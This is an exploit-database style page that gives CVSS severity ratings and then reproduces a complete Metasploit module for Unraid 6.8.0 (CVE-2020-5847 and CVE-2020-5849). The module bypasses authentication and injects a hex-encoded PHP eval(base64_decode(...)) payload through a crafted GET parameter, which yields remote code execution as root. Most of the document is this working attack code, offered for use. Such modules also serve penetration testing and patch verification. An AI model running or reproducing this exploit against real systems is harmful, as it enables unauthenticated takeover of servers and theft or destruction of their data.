The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Unraid 6.8.0 Authentication Bypass / Arbitrary Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
This module exploits two vulnerabilities affecting Unraid 6.8.0.
An authentication bypass is used to gain access to the administrative
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
},
'Author' =>
[
'Nicolas CHATELAIN <[email protected]>'
],
'References' =>
[
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 10 2020'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET'
)
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200
return CheckCode::Safe('Unexpected reply')
end
/\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2}) / =~ res.body
if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end
CheckCode::Safe
end
def exploit
begin
vprint_status('Sending exploit code')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
'encode_params' => false,
'vars_get' =>
{
'path' => 'x',
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)
if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else
print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end